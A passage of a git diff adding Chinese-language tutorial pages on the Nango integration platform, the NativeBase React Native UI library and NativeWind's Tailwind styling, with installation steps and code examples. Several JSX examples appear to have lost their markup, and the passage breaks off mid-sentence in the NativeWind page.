分页同步」变成「统一接入层 + TypeScript 函数」。 + +日常类比: + +- 你的产品要接 20 家 CRM,自己写集成像**在 20 个国家各开一家分公司**:每家都要办执照(OAuth App)、雇本地会计(token 刷新)、自己跑物流(分页拉数)。 +- Nango 像**国际快递公司总部**:你在总部下单(`triggerAction` / `startSync`),它替你处理各国清关(OAuth)、仓储(Connection 凭证加密存储)、定时补货(Sync 调度),你只收统一格式的包裹(Records / 统一模型)。 + +和 [[unified]](Merge.dev 等预置统一 API)不同,Nango 强调 **code-first**:统一模型由你自己定义,每家厂商的差异写在 Nango Function 里映射,而不是被迫接受别人的「最低公分母 schema」。 + +## 为什么重要 + +做 B2B SaaS 的人迟早会撞上「集成地狱」: + +1. **OAuth 不是「调个接口」**——每家 redirect URL、scope、refresh token 生命周期、PKCE 要求都不一样;token 过期后用户数据就 silently 断了。 +2. **读数据比写更难**——分页、增量游标、rate limit、删除检测、webhook 漏收,每个 provider 一套玩法。 +3. **凭证不能进你的业务库**——把 access token 明文塞进 Postgres,一次 SQL 注入就是全客户 CRM 裸奔。 + +Nango 把这三件事收进一个平台:**Auth(Connect UI)→ Connection(凭证托管)→ Proxy / Functions(代发请求与同步逻辑)**。开源可自托管,也提供 Nango Cloud;文档宣称支持 **800+ API**,并提供 Node / Python / Go 等 SDK。 + +典型使用场景: + +- 帮客户把工单从 Zendesk 同步进你的产品(RAG / 报表 / 触发器) +- 在应用内嵌入「连接 Salesforce」按钮,授权后调用统一 `create-contact` Action +- 给 AI Agent 暴露 MCP / tool calling,背后走已授权的 Connection + +## 核心概念 + +先把名词对齐——后面读 SDK 和 Dashboard 都靠这张表。 + +| 概念 | 含义 | 类比 | +|------|------|------| +| **Provider** | Nango 内置的 API 模板(如 `github`、`salesforce`) | 快递公司覆盖的国家 | +| **Integration** | 你在环境里为某 Provider 创建的配置实例,有 `unique_key` | 某国分公司的运营牌照 | +| **Connection** | 某个终端用户成功授权后的一条凭证记录 | 某客户在该国的报关账号 | +| **Connect Session** | 短期 token,用于弹出 Connect UI 完成授权 | 一次性授权二维码 | +| **Proxy** | 代发 HTTP 请求,自动注入凭证,你的后端不碰 token | 代报关发货 | +| **Sync Function** | 定时/触发的拉数函数,结果写入 Records 缓存 | 定时从海外仓盘点入库 | +| **Action Function** | 按需执行的写操作或单次读 | 下单、改地址 | +| **Records** | Nango 侧的同步结果存储,带 cursor 增量读取 | 总部仓库台账 | +| **Unified API** | 你自定义的稳定模型,多家 Provider 各自映射 | 统一 SKU 编码体系 | + +数据流可以概括成: + +``` +用户点击「连接 HubSpot」 + → 后端 createConnectSession() + → 前端打开 Connect UI + → OAuth 完成,生成 Connection + → Sync 定时拉联系人 → Records + → Webhook 通知你的 App + → App 用 cursor 拉变更写入自有 DB +``` + +写回外部系统时走 **Action**;简单的一次性请求可以只用 **Proxy**,不必写 Function。 + +## 快速上手:授权 + 触发 Action + +官方 Quickstart 用 GitHub 演示:Dashboard 里启用模板函数 `get-repository`,后端用 SDK 触发。 + +### 1. 安装 SDK 并触发 Action + +```typescript +import { Nango } from '@nangohq/node'; + +const nango = new Nango({ secretKey: process.env.NANGO_SECRET_KEY! }); + +// integrationId = Dashboard 里的 unique_key,如 github-getting-started +// connectionId = 用户在 Connections 页授权后得到的 ID +const repo = await nango.triggerAction( + 'github-getting-started', + process.env.NANGO_CONNECTION_ID!, + 'get-repository', + { owner: 'NangoHQ', repo: 'nango' } +); + +console.log(repo.id, repo.full_name, repo.default_branch); +``` + +要点: + +- `secretKey` **只能放服务端**,相当于 root 权限。 +- `triggerAction` 在 Nango 托管运行时执行函数,**凭证不经过你的应用进程**。 +- Dashboard → Logs 可看 provider 原始请求/响应,排错比「黑盒 401」舒服得多。 + +### 2. 嵌入 Connect UI:让用户自己授权 + +产品里不能让用户去 Nango Dashboard 点按钮——要在你的设置页弹出授权。 + +```typescript +// Express / Next.js API Route 示例 +import { Nango } from '@nangohq/node'; + +const nango = new Nango({ secretKey: process.env.NANGO_SECRET_KEY! }); + +export async function createHubSpotConnectLink(endUserId: string) { + const { data } = await nango.createConnectSession({ + tags: { + end_user_id: endUserId, + organization_id: `org_${endUserId}`, + }, + allowed_integrations: ['hubspot'], + }); + + // 前端 redirect 到 data.connect_link,或嵌 Connect UI 组件 + return { + connectLink: data.connect_link, + expiresAt: data.expires_at, // 约 30 分钟有效 + }; +} +``` + +`tags` 会复制到 Connection 上,并出现在 auth webhook 里——**用它在回调里知道「是哪个租户连的」**。生产环境建议注册自己的 OAuth App(白标 callback 域名),测试可用 Nango 内置 developer app,但 scopes 固定且不适合上架 marketplace。 + +授权成功后监听 webhook(`connection.created`),把 `connection_id` 存到你自己的 `integrations` 表,后续 Sync / Action 都靠它索引。 + +## Proxy:不写函数也能代发请求 + +如果只需要「拿已授权 token 调一个 REST endpoint」,Proxy 最省事: + +```typescript +const issues = await nango.get({ + providerConfigKey: 'github-prod', + connectionId: customerConnectionId, + endpoint: '/repos/NangoHQ/nango/issues', + params: { state: 'open', per_page: '10' }, +}); + +// issues.data 即 GitHub 原始 JSON +``` + +Proxy 自动处理 base URL、Authorization header、429/5xx 重试。适合探索期或调用路径不在 Sync/Action 覆盖范围内的边缘接口。复杂分页、增量、落库仍应升级为 Sync Function。 + +## Sync Function:把外部数据变成可消费的 Records + +Sync 是 Nango 的「读路径」主力——在托管运行时跑你写的 TypeScript,分页拉取、映射模型、`batchSave` 进缓存。 + +下面是把 HubSpot 联系人映射到自建 `UnifiedContact` 的简化示例(基于官方 unified API 文档模式): + +```typescript +import { createSync } from 'nango'; +import * as z from 'zod'; + +const UnifiedContact = z.object({ + id: z.string(), + email: z.string().nullable(), + name: z.string(), + raw: z.unknown().optional(), +}); + +export default createSync({ + description: 'HubSpot contacts → UnifiedContact', + frequency: 'every hour', + models: { UnifiedContact }, + exec: async (nango) => { + for await (const page of nango.paginate<{ id: string; properties: Record }>({ + endpoint: '/crm/v3/objects/contacts', + params: { properties: 'email,firstname,lastname' }, + paginate: { + type: 'cursor', + cursor_path_in_response: 'paging.next.after', + cursor_name_in_request: 'after', + response_path: 'results', + limit_name_in_request: 'limit', + limit: 100, + }, + })) { + const contacts = page.map((c) => ({ + id: c.id, + email: c.properties.email ?? null, + name: [c.properties.firstname, c.properties.lastname].filter(Boolean).join(' '), + raw: c, + })); + await nango.batchSave(contacts, 'UnifiedContact'); + } + }, +}); +``` + +部署后用 SDK 启动调度: + +```typescript +await nango.startSync('hubspot', ['contacts'], customerConnectionId); +``` + +Sync 跑完后 Nango 向你的 webhook URL 推送变更摘要;应用侧用 **cursor** 增量拉 Records,写入自有数据库或向量索引——避免每次全量扫 10 万行联系人。 + +设计建议(文档反复强调): + +- 能增量就增量,配合 **checkpoint** 长跑可恢复。 +- 统一模型的读(Sync)和写(Action)尽量共用 schema,减少应用层 `if (provider === 'x')`。 +- 映射不了的字段放 `raw` 或 connection metadata,别硬塞进统一列。 + +## Unified API:多家 CRM,一个 `create-contact` + +当你要同时支持 Salesforce、HubSpot、Pipedrive,应用层只想调: + +```typescript +await nango.triggerAction(integrationId, connectionId, 'create-contact', payload); +``` + +做法是为每个 Provider 各实现同名 Action,输入输出都是你的 `UnifiedContact`,内部各自调厂商 API。Sync 侧同样映射到 `UnifiedContact` 写入 Records。这是 **可选模式**——小集成用 Proxy 就够;客户开始比「你支持哪家 CRM」时再上统一层。 + +## 与相近方案怎么选 + +| 方案 | 强项 | 弱项 | +|------|------|------| +| **自己写 OAuth** | 零供应商、完全控制 | N 个 API × 维护成本爆炸 | +| **Nango** | 凭证托管 + 函数运行时 + 800+ 模板 | 要学 Dashboard / Functions 模型 | +| **预置 Unified API(Merge 等)** | 开箱统一 schema | 模型僵化,边缘字段要加价或做不了 | +| **Zapier / Make** | 无代码连线 | 难嵌进多租户 SaaS 产品内核 | +| **[[mcp-ts-sdk]] 工具** | Agent 调工具 | 不负责 OAuth 与持久同步 | + +Nango 2024–2026 年的叙事重心是 **「集成逻辑 = TypeScript Functions + AI 生成」**:用 CLI / MCP 让 Cursor、Claude Code 根据自然语言生成 Sync/Action,再部署到同一运行时——和「只卖统一 CRM schema」的竞品路线不同。 + +## 自托管与合规 + +- 仓库 MIT 开源: +- Cloud 宣称 SOC 2 Type II、HIPAA、GDPR;自托管可把凭证留在自有 VPC +- OAuth **生产务必用自己的 developer app**——共享 app 适合 demo,有 scope 固定、被厂商吊销、无法 marketplace 上架等限制 + +本地开发时 SDK 指向 `http://localhost:3003`,与自托管实例一致。 + +## 实践清单(零基础第一周) + +1. 注册 Nango Cloud,在 Integrations 启用 `github-getting-started` +2. Connections → Add Test Connection,记下 `connection_id` +3. 用 `triggerAction` 跑通 `get-repository`(第一个代码示例) +4. 写一个 API Route 调 `createConnectSession`,在浏览器走完 Connect UI +5. 给环境配置 Webhook URL,打印 `connection.created` 事件 +6. 打开模板 Sync,观察 Records 与 cursor 拉取 +7. 读 Logs 里 provider 请求,理解 Proxy 与 Function 的分工 + +## 常见坑 + +- **把 secret key 打进前端**——Connect Session 也必须服务端创建。 +- **在业务 DB 存 access token**——违背平台设计;用 `connection_id` 索引即可。 +- **Sync 里一次拉全量不落 checkpoint**——大租户超时后从头再来,API quota 爆掉。 +- **测试用共享 OAuth app 上生产**——用户看到的是授权给 Nango 而非你的产品。 +- **每家 Provider 各写一套应用内模型**——失去 Unified API 意义;先定你自己的 schema 再写映射。 + +## 延伸阅读 + +- 官方文档索引:(给 AI / 脚本发现全站页面) +- Auth 指南:OAuth app 注册、Connect UI、reconnect flow +- Sync 指南:webhook、cursor、删除检测、分区 Sync +- Unified APIs:多 Provider 共模实现模式 +- 相关笔记:[[supabase]](自有数据落库)、[[mcp-ts-sdk]](Agent 工具暴露)、[[authentik]](若你同时做企业 SSO,职责与 Nango 不同——Authentik 管「谁登录你的产品」,Nango 管「你的产品代用户访问外部 SaaS」) + +--- + +**一句话**:Nango 把「SaaS 集成」拆成 **托管授权 + 可选 Proxy + 可部署的 Sync/Action 函数**;你专注产品自己的统一模型与业务逻辑,OAuth 刷新和拉数调度交给平台。 diff --git a/src/content/docs/projects/native-base.md b/src/content/docs/projects/native-base.md new file mode 100644 index 000000000..a6ef9fb67 --- /dev/null +++ b/src/content/docs/projects/native-base.md @@ -0,0 +1,375 @@ +--- +title: NativeBase — 跨平台 React Native UI 与设计系统 +来源: https://github.com/GeekyAnts/NativeBase +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +NativeBase 是 GeekyAnts 出品的**跨平台 React / React Native 组件库**:把 Box、Button、Input、Modal 等常见界面元素,连同主题、间距、深色模式、无障碍属性,打包成一套在 **Android、iOS、Web** 上视觉一致的「标准件」。 + +日常类比:你要开三家连锁咖啡店(手机 App + 网页后台 + 平板点单),如果每家店各自定杯型、菜单排版和灯光,顾客会觉得不是同品牌。NativeBase 像总部下发的**连锁装修手册 + 预制构件目录**——总部定好主色、圆角、间距标尺(theme tokens),各店只选组件、填内容,不用从零画按钮阴影或表单错误提示样式。 + +最小用法:用 `NativeBaseProvider` 包住应用,然后直接使用组件: + +```tsx +import { NativeBaseProvider, Box, Text, Button } from 'native-base'; + +export default function App() { + return ( + + + + 你好,NativeBase + + + + + ); +} +``` + +当前 npm 上的稳定线约为 **3.4.x**(最后大规模更新约在 2023 年)。官方文档已明确建议**新项目优先 gluestack-ui**(NativeBase 的继任者);但大量存量 App、教程和 Expo Snack 仍基于 NativeBase,零基础读懂它仍有价值——尤其是理解「utility props + theme + 跨平台组件」这一套后来被 Gluestack、Chakra 系思路继承的设计语言。 + +## 为什么重要 + +在 React Native UI 选型里,NativeBase 代表了一代「**设计系统优先**」的方案,和 Material 系的 React Native Paper、编译器系的 Tamagui 形成对照: + +| 维度 | NativeBase 3.x 的特点 | +|------|----------------------| +| 跨平台 | 同一套组件跑 RN + Web(基于 React Native Web) | +| 主题 | `extendTheme` 扩展 token,支持深/浅色 `colorMode` | +| 样式写法 | Chakra 风格的 **utility props**(`p={4}`、`bg="primary.500"`) | +| 平台差异 | `_ios`、`_android`、`_web` 等 **pseudo props** 做分支 | +| 生态位 | GeekyAnts 长期维护;后演进为 gluestack-ui | + +不理解 NativeBase,你会在以下场景吃亏: + +- 维护 2020–2023 年创建的 RN 项目时,看到满屏 `Box`、`HStack`、`colorScheme` 不知从何改起 +- 读 Gluestack / Solito 文档时,作者常默认你懂 NativeBase 3 的主题与 utility props 模型 +- 评估「要不要从 NativeBase 迁移」时,说不清性能与包体积问题到底出在哪一层 + +**甜区**:需要快速搭跨平台 MVP、团队熟悉 Chakra/Tailwind 式短属性、或接手已有 NativeBase 代码库。**不太甜**:2026 年全新 greenfield 项目——官方已指向 gluestack-ui;对 bundle 体积极度敏感且不想整库引入时,NativeWind + 自建组件可能更轻。 + +## 核心概念 + +NativeBase 3 的心智模型可以拆成六块: + +### 1. `NativeBaseProvider`(根 Provider) + +类似 Paper 的 `PaperProvider`,必须在应用根部包裹。它向下注入: + +- 当前 **theme** 对象(颜色、字体、组件 defaultProps) +- **colorMode** 上下文(`light` / `dark`) +- 部分 overlay 组件所需的 portal 环境 + +Provider 顺序建议:Redux / React Query 等**在外层**,NativeBase **在内层**,这样 Modal 内仍能访问全局 state。 + +### 2. Theme 与 `extendTheme` + +默认主题已经包含完整的色阶(如 `primary.50` … `primary.900`)、间距、圆角、字体。用 `extendTheme` **合并覆盖**,而不是重写整个对象: + +```tsx +import { extendTheme, NativeBaseProvider } from 'native-base'; + +const theme = extendTheme({ + colors: { + brand: { + 50: '#eef2ff', + 500: '#6366f1', + 900: '#312e81', + }, + }, + config: { + initialColorMode: 'light', + useSystemColorMode: true, + }, + components: { + Button: { + defaultProps: { + colorScheme: 'brand', + rounded: 'lg', + }, + }, + }, +}); +``` + +`components.*.defaultProps` 相当于给某类连锁构件设「出厂默认规格」——全 App 的 Button 默认圆角、默认色板,局部仍可用 props 覆盖。 + +### 3. Utility Props(工具属性) + +NativeBase 3 借鉴 Chakra UI:在组件上直接写布局与样式短属性,底层映射到 StyleSheet: + +| 类别 | 常见 props | 含义 | +|------|------------|------| +| 布局 | `flex`, `w`, `h`, `maxW` | 宽高与 flex | +| 间距 | `p`, `px`, `py`, `m`, `mt` | padding / margin | +| 颜色 | `bg`, `color` | 背景与文字色,可引用 token | +| 排版 | `fontSize`, `fontWeight`, `textAlign` | 字体 | +| 栈布局 | `space={4}` on `VStack` / `HStack` | 子元素间距 | + +token 引用写字符串即可:`bg="primary.500"`、`p={4}`(数字通常映射 theme 的 spacing scale)。 + +### 4. Pseudo Props(条件与状态样式) + +以 `_` 前缀挂载「特定条件下才生效」的样式,是 NativeBase 跨平台分支的核心机制: + +| Prop | 触发条件 | +|------|----------| +| `_hover` | Web 悬停 | +| `_pressed` | 按下 | +| `_focus` | 聚焦(键盘 / 无障碍) | +| `_dark` / `_light` | 当前 colorMode | +| `_ios` / `_android` / `_web` | 运行平台 | + +这让同一 JSX 在不同平台呈现合理差异,而不必到处写 `Platform.OS === 'ios'`。 + +### 5. 布局原语:`Box`、`Stack`、`HStack`、`VStack` + +- **Box**:通用容器,类似带 utility props 的 `View` +- **Stack 系**:自动给子元素加间距;`HStack` 水平、`VStack` 垂直 +- 复杂页面常组合:`ScrollView` + `VStack space={6}` + `FormControl` + +### 6. Color Mode(深色模式) + +`useColorMode()` 返回 `{ colorMode, toggleColorMode, setColorMode }`;`useColorModeValue(lightToken, darkToken)` 按当前模式选 token。配合 `StatusBar`、`NavigationContainer` 主题可做到全 App 同步切换。 + +### 7. 与 gluestack-ui 的关系(读旧代码时的背景) + +2023 年起 GeekyAnts 推出 **gluestack-ui** 作为 NativeBase 的重建版:组件更 headless、样式与 `@gluestack-style` 分离、按需引入以减轻包体积。迁移路径包括 `@gluestack-ui/themed-native-base` 等兼容包。学 NativeBase 不等于推荐在新项目继续用它——而是理解**上一代 universal component library** 如何组织 theme 与 props,以便维护或迁移。 + +## 安装与项目接入 + +**Expo 项目(常见路径):** + +```bash +npx create-expo-app my-app +cd my-app +npx expo install native-base react-native-svg react-native-safe-area-context +``` + +NativeBase 3 依赖 `react-native-svg`(图标与部分组件)和 safe area 处理;Expo 用 `expo install` 对齐原生模块版本。 + +**根组件接入:** + +```tsx +import { NativeBaseProvider } from 'native-base'; +import App from './App'; + +export default function Root() { + return ( + + + + ); +} +``` + +若使用自定义 theme,传入 `theme={theme}`。TypeScript 项目可配合 `@types/react-native` 与 NativeBase 自带的类型定义;Web 端需确保已配置 **React Native Web**(Expo Web 或 Next.js + Solito 等方案)。 + +## 实践案例 + +### 案例 1:品牌主题 + 深色模式开关 + +```tsx +import { extendTheme, NativeBaseProvider, Box, Button, Text, useColorMode } from 'native-base'; + +const theme = extendTheme({ + colors: { + brand: { + 500: '#0ea5e9', + 600: '#0284c7', + }, + }, + config: { + initialColorMode: 'light', + }, +}); + +function ThemeToggle() { + const { colorMode, toggleColorMode } = useColorMode(); + return ( + + ); +} + +function Home() { + return ( + + + 设置页 + + + + ); +} + +export default function Root() { + return ( + + + + ); +} +``` + +要点: + +- `extendTheme` 只覆盖 `brand` 色阶,其余 token 仍走默认主题,避免漏字段 +- `_light` / `_dark` 写在 `Box`、`Text` 上,比手动 `colorMode === 'dark' ? ... : ...` 更贴近组件声明式风格 +- `useColorMode` 必须在 `NativeBaseProvider` 子树内调用 + +### 案例 2:登录表单 — FormControl、Input、平台伪 props + +```tsx +import { useState } from 'react'; +import { + VStack, + HStack, + Input, + Button, + FormControl, + WarningOutlineIcon, + Text, + IconButton, + Pressable, +} from 'native-base'; +import { MaterialIcons } from '@expo/vector-icons'; + +export function LoginScreen() { + const [email, setEmail] = useState(''); + const [password, setPassword] = useState(''); + const [show, setShow] = useState(false); + const invalid = email.length > 0 && !email.includes('@'); + + return ( + + + 登录 + + + + 邮箱 + + }> + 请输入有效邮箱 + + + + + 密码 + setShow(!show)} mr={2}> + + + } + /> + + + + + + 还没有账号? + + + + ); +} +``` + +要点: + +- `FormControl` + `isInvalid` + `ErrorMessage` 是 NativeBase 表单无障碍的标准组合(label 与错误信息关联) +- `InputRightElement` 放「显示密码」图标,避免嵌套过多自定义 `View` +- `_web={{ _hover: ... }}` 只在 Web 启用 hover,原生端不会误触 + +### 案例 3:响应式布局与 `Hidden`(可选了解) + +NativeBase 提供 `Hidden` 或 breakpoint 相关 props(随版本略有差异),用于「手机隐藏侧边栏、平板显示」。跨平台 App 常配合 `useBreakpointValue` hook 读 theme 里定义的 breakpoints。具体 API 以 [官方 Theme 文档](https://docs.nativebase.io/theme) 为准;思路是 **同一组件树,不同宽度应用不同 defaultProps**。 + +## 组件地图(3.x 常用) + +| 分类 | 代表组件 | 用途 | +|------|----------|------| +| Layout | Box, Center, Stack, ScrollView | 页面骨架 | +| Forms | Input, Select, Checkbox, Radio, Switch, Slider | 数据录入 | +| Data Display | Badge, Avatar, Divider, Table | 信息展示 | +| Feedback | Alert, Toast, Progress, Spinner | 状态反馈 | +| Overlay | Modal, ActionSheet, Popover, Menu | 浮层交互 | +| Typography | Text, Heading | 文字层级 | +| Media | Image, Icon | 图标与图片 | + +许多组件支持 `colorScheme`(语义色板)、`variant`(如 Button 的 `solid` / `outline` / `ghost` / `link`),与 theme 里 `components.Button.variants` 联动。 + +## 与同类方案对比 + +| 库 | 设计风格 | 跨 Web | 2026 新项目建议 | +|----|----------|--------|-----------------| +| NativeBase 3 | Chakra 式 utility + theme | 是 | 维护旧项目;新项目看 Gluestack | +| gluestack-ui | headless + 可选 styled | 是 | GeekyAnts 官方继任 | +| React Native Paper | Material Design 3 | 有限 | Android / Material 风 App | +| Tamagui | token + 编译器优化 | 是 | 性能敏感 + 设计系统 | +| NativeWind | Tailwind class | 是 | 团队已深度用 Tailwind | + +NativeBase 的优势 historically 是 **上手快、默认主题好看、文档与 Snack 示例多**;劣势是整库体积、运行时 style 解析、以及维护节奏放缓后与新 RN / React 版本的跟进压力——这也是 gluestack 诞生的直接原因。 + +## 常见问题 + +**Q:新项目还能用 NativeBase 吗?** +A:能跑,但 [官方 Getting Started](https://docs.nativebase.io/getting-started) 已指向 gluestack-ui。全新 App 更建议直接评估 Gluestack;Legacy 项目可规划渐进迁移。 + +**Q:`native-base` 和 `@native-base/react` 有什么区别?** +A:3.x 起主包名为 `native-base`,统一从 `native-base` import。旧 2.x 文档中的 API 差异较大,升级需读 [Migration 指南](https://docs.nativebase.io/migration)。 + +**Q:Web 端样式不对 / 字体发虚?** +A:检查是否正确配置 React Native Web、是否加载 theme 字体;部分组件在 Web 上依赖 `_web` 微调。Solito + Next.js 是 GeekyAnts 推荐的 universal 路由方案之一。 + +**Q:和 React Navigation 怎么配?** +A:NativeBase 不绑定特定导航库。常见做法:Navigation 管路由,`NativeBaseProvider` 包在 `NavigationContainer` 外或内均可,注意 Modal 与 header 的 z-index;深/浅色需同步改 Navigation theme 与 NativeBase colorMode。 + +**Q:TypeScript 报 theme token 不存在?** +A:用 `extendTheme` 扩展后,可通过 NativeBase 的 theme typing 或模块 augmentation 声明自定义 `colors.brand`;开发期也可先用字符串 token 快速迭代。 + +## 学习路径建议 + +1. 在 [Expo Snack](https://snack.expo.dev/) 选 NativeBase 模板,改 `Box` / `Button` / `Text` 的 utility props,观察 Web 与模拟器预览 +2. 读官方 **Theme** 与 **Color mode** 两章,做一版品牌色 + 深色切换 +3. 用 **FormControl + Input** 做一个完整表单屏,练 `_focus` 与 `isInvalid` +4. 若项目要长期维护,对照 [gluestack-ui 迁移说明](https://nativebase.io/blogs/road-ahead-with-gluestack-ui) 评估替换成本 + +## 参考资料 + +- 官网与文档:https://nativebase.io/ 、https://docs.nativebase.io/ +- GitHub:https://github.com/GeekyAnts/NativeBase +- npm:`native-base`(3.4.x) +- 继任框架:https://gluestack.io/ 、https://github.com/gluestack/gluestack-ui +- GeekyAnts 博文:[Road Ahead with gluestack-ui](https://nativebase.io/blogs/road-ahead-with-gluestack-ui) +- Universal App 示例:NativeBase + Solito(官方 Resources) diff --git a/src/content/docs/projects/nativewind.md b/src/content/docs/projects/nativewind.md new file mode 100644 index 000000000..85570463a --- /dev/null +++ b/src/content/docs/projects/nativewind.md @@ -0,0 +1,320 @@ +--- +title: NativeWind — 在 React Native 里用 Tailwind CSS 写样式 +来源: https://github.com/nativewind/nativewind +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +--- + +## 是什么 + +NativeWind 是一个**样式库**,不是组件库:它把你在 Web 前端熟悉的 Tailwind CSS 工具类(`flex-1`、`text-blue-500`、`dark:bg-zinc-900` 等)带到 React Native 里,让你用 `className` 而不是手写 `StyleSheet.create` 来布局。 + +日常类比:React Native 原生样式像「每块砖都要自己烧」——`padding: 16`、`backgroundColor: '#fff'` 一行行写在 JS 对象里。Tailwind 像「宜家预制模块」——`p-4 bg-white` 直接拼。NativeWind 就是**把宜家说明书翻译成 RN 能读懂的施工图**:编译期把 class 变成 `StyleSheet.create` 对象,运行时再按平台(iOS / Android / Web)正确套用。 + +它和 React Native Web 的关系:在 **Web 端**,NativeWind 相当于给 RN Web 加了一层 `className` 兼容;在 **原生端**,走 Yoga 布局引擎 + RN StyleSheet,性能接近手写 StyleSheet。 + +当前版本脉络(2026 年初): + +| 版本 | 状态 | Tailwind | 适用场景 | +|------|------|----------|----------| +| v4.1 | **稳定、生产可用** | Tailwind CSS v3 | 绝大多数新项目 | +| v5 | Preview / `@preview` | Tailwind CSS v4 | 尝鲜、实验项目 | + +官方一键脚手架: + +```bash +# v4.1 + Expo SDK 54(推荐入门) +npx rn-new@latest --nativewind + +# v5 preview +npx rn-new@next --nativewind +``` + +## 为什么重要 + +不理解 NativeWind,以下问题很难答清楚: + +- **为什么 RN 项目里能写 `className`?** —— NativeWind 通过 Babel/Metro 编译管线,在构建时把 Tailwind class 映射为 RN 样式对象,并扩展 RN 组件的类型定义 +- **和 Tamagui、Gluestack 有什么区别?** —— 后者是**组件库**(Button、Card 等);NativeWind 只管**样式层**,UI 仍用 RN 原生组件或任意第三方库 +- **Web + iOS + Android 一套 class 真能用吗?** —— 大部分 utility 可以;平台差异用 `ios:`、`android:`、`web:` 等变体(v5 原生支持更多) +- **性能会不会比 StyleSheet 差?** —— 样式在**构建期**预编译,运行时只做条件逻辑(dark mode、hover 等),官方设计目标就是接近手写 StyleSheet + +## 核心概念 + +NativeWind 的工作流可以拆成五层: + +### 1. 编译期:Tailwind → StyleSheet + +Metro 打包时,NativeWind 读取你的 `global.css` 和 `tailwind.config.js`(v4)或 CSS-first 配置(v5),扫描源码里的 `className` 字符串,用 Tailwind 编译器生成对应的 RN 样式表。类比:厨师提前把菜切好、料配好(build time),上菜时只加热(runtime)。 + +### 2. 运行时:className → style + +组件渲染时,NativeWind 把 `className="flex-1 p-4"` 解析成 `{ flex: 1, padding: 16 }` 交给 RN。复杂场景(伪类 `hover:`、`focus:`、媒体查询 `md:`、dark mode)由轻量 runtime 处理——在 Web 上走 CSS,在原生上走 RN 的条件样式 API。 + +### 3. 默认映射:className ↔ style + +开箱即用:`View`、`Text`、`Pressable` 等标准 RN 组件直接支持 `className`。若第三方组件只认 `style` prop,可用 `cssInterop` 做映射(进阶话题,初学先记住「标准组件直接用」即可)。 + +### 4. 三端策略 + +| 平台 | 底层引擎 | +|------|----------| +| iOS / Android | `StyleSheet.create` + Yoga | +| Web | React Native Web + Tailwind 样式表复用 | + +同一套 JSX,各端选各自最高效的路径——这是 NativeWind 相对「纯 Web Tailwind 套壳」的核心价值。 + +### 5. 与 Expo 的深度集成 + +Expo 是官方推荐的入门路径:Metro bundler、`babel-preset-expo`、`withNativeWind` 配置都已文档化。Web 端需在 `app.json` 里把 bundler 设为 `metro`,否则 Tailwind 管线可能对不上。 + +## 从零安装(Expo + v4.1 稳定版) + +以下步骤对应[官方 Installation 文档](https://www.nativewind.dev/docs/getting-started/installation),适合已有 Expo 项目手动接入。 + +**1. 安装依赖** + +```bash +npm install nativewind react-native-reanimated react-native-safe-area-context +npm install --dev tailwindcss@^3.4.17 prettier-plugin-tailwindcss@^0.5.11 babel-preset-expo +``` + +**2. 初始化 Tailwind 配置** + +```js +// tailwind.config.js +/** @type {import('tailwindcss').Config} */ +module.exports = { + content: ["./App.tsx", "./app/**/*.{js,jsx,ts,tsx}", "./components/**/*.{js,jsx,ts,tsx}"], + presets: [require("nativewind/preset")], // 关键:NativeWind 预设 + theme: { extend: {} }, + plugins: [], +}; +``` + +**3. 全局 CSS 入口** + +```css +/* global.css */ +@tailwind base; +@tailwind components; +@tailwind utilities; +``` + +**4. Babel + Metro** + +```js +// babel.config.js +module.exports = function (api) { + api.cache(true); + return { + presets: [ + ["babel-preset-expo", { jsxImportSource: "nativewind" }], + "nativewind/babel", + ], + }; +}; +``` + +```js +// metro.config.js +const { getDefaultConfig } = require("expo/metro-config"); +const { withNativeWind } = require("nativewind/metro"); + +const config = getDefaultConfig(__dirname); +module.exports = withNativeWind(config, { input: "./global.css" }); +``` + +**5. 入口文件引入 CSS + TypeScript 类型** + +```tsx +// App.tsx — 必须在最顶层组件同文件 import +import "./global.css"; +``` + +```ts +// nativewind-env.d.ts(文件名有讲究,勿叫 nativewind.d.ts) +/// +``` + +**6. Expo Web 使用 Metro** + +```json +{ + "expo": { + "web": { + "bundler": "metro" + } + } +} +``` + +## 实践案例 + +### 案例 1:最小可运行页面 + +验证安装是否成功——居中白底、蓝色粗体标题: + +```tsx +import "./global.css"; +import { Text, View } from "react-native"; + +export default function App() { + return ( + + + Welcome to NativeWind! + + + ); +} +``` + +要点: + +- `flex-1` → 占满父容器剩余空间(RN 默认纵向 flex,和 Web 的 `flex-col` 心智一致) +- `items-center justify-center` → 交叉轴/主轴居中 +- `dark:` 前缀 → 跟随系统深色模式(需项目启用 color scheme) + +### 案例 2:登录卡片 — 条件样式与 Pressable + +比 StyleSheet 更直观的地方:**状态变体**和**响应式**写在一起,不用维护多份 style 对象: + +```tsx +import "./global.css"; +import { useState } from "react"; +import { Pressable, Text, TextInput, View } from "react-native"; + +export function LoginCard() { + const [email, setEmail] = useState(""); + + return ( + + + 登录 + + + + + + {({ pressed }) => ( + + 继续 + + )} + + + ); +} +``` + +这里展示了: + +- **布局**:`mx-4 p-6 rounded-2xl` 替代手写 margin/padding/borderRadius +- **深色模式**:`dark:bg-zinc-900` 一套 JSX 覆盖两主题 +- **交互态**:`active:bg-blue-700` 对应 Pressable 按下(Web 上类似 `:active`) +- **注意**:`TextInput` 的 `placeholderTextColor` 目前仍需显式 prop——并非所有 CSS 语义都能 1:1 映射到 RN + +### 案例 3:封装可复用变体(cn 工具函数) + +团队项目里常配合 `clsx` + `tailwind-merge` 合并 class,避免冲突: + +```tsx +import { clsx, type ClassValue } from "clsx"; +import { twMerge } from "tailwind-merge"; +import { Text, type TextProps } from "react-native"; + +export function cn(...inputs: ClassValue[]) { + return twMerge(clsx(inputs)); +} + +type AppTextProps = TextProps & { + variant?: "title" | "body" | "caption"; +}; + +const variantClass = { + title: "text-2xl font-bold text-zinc-900 dark:text-zinc-50", + body: "text-base text-zinc-700 dark:text-zinc-300", + caption: "text-sm text-zinc-500 dark:text-zinc-400", +} as const; + +export function AppText({ variant = "body", className, ...props }: AppTextProps) { + return ( + + ); +} + +// 使用 +// 设置 +// 说明文字 +``` + +这解决了 RN 的老痛点:**Text 样式不继承**——通过设计系统组件 + NativeWind,比全局 StyleSheet 更易维护。 + +## v5 Preview 有何不同(了解即可) + +若你跟踪最新预览版,主要变化: + +- 依赖 **Tailwind CSS v4**,配置从 `tailwind.config.js` 转向 **`global.css` 里 `@import`** 的 CSS-first 模型 +- 底层 **`react-native-css`** 取代旧的 `react-native-css-interop`(需显式安装 peer dependency) +- Metro 侧 **`withNativewind`**(小写 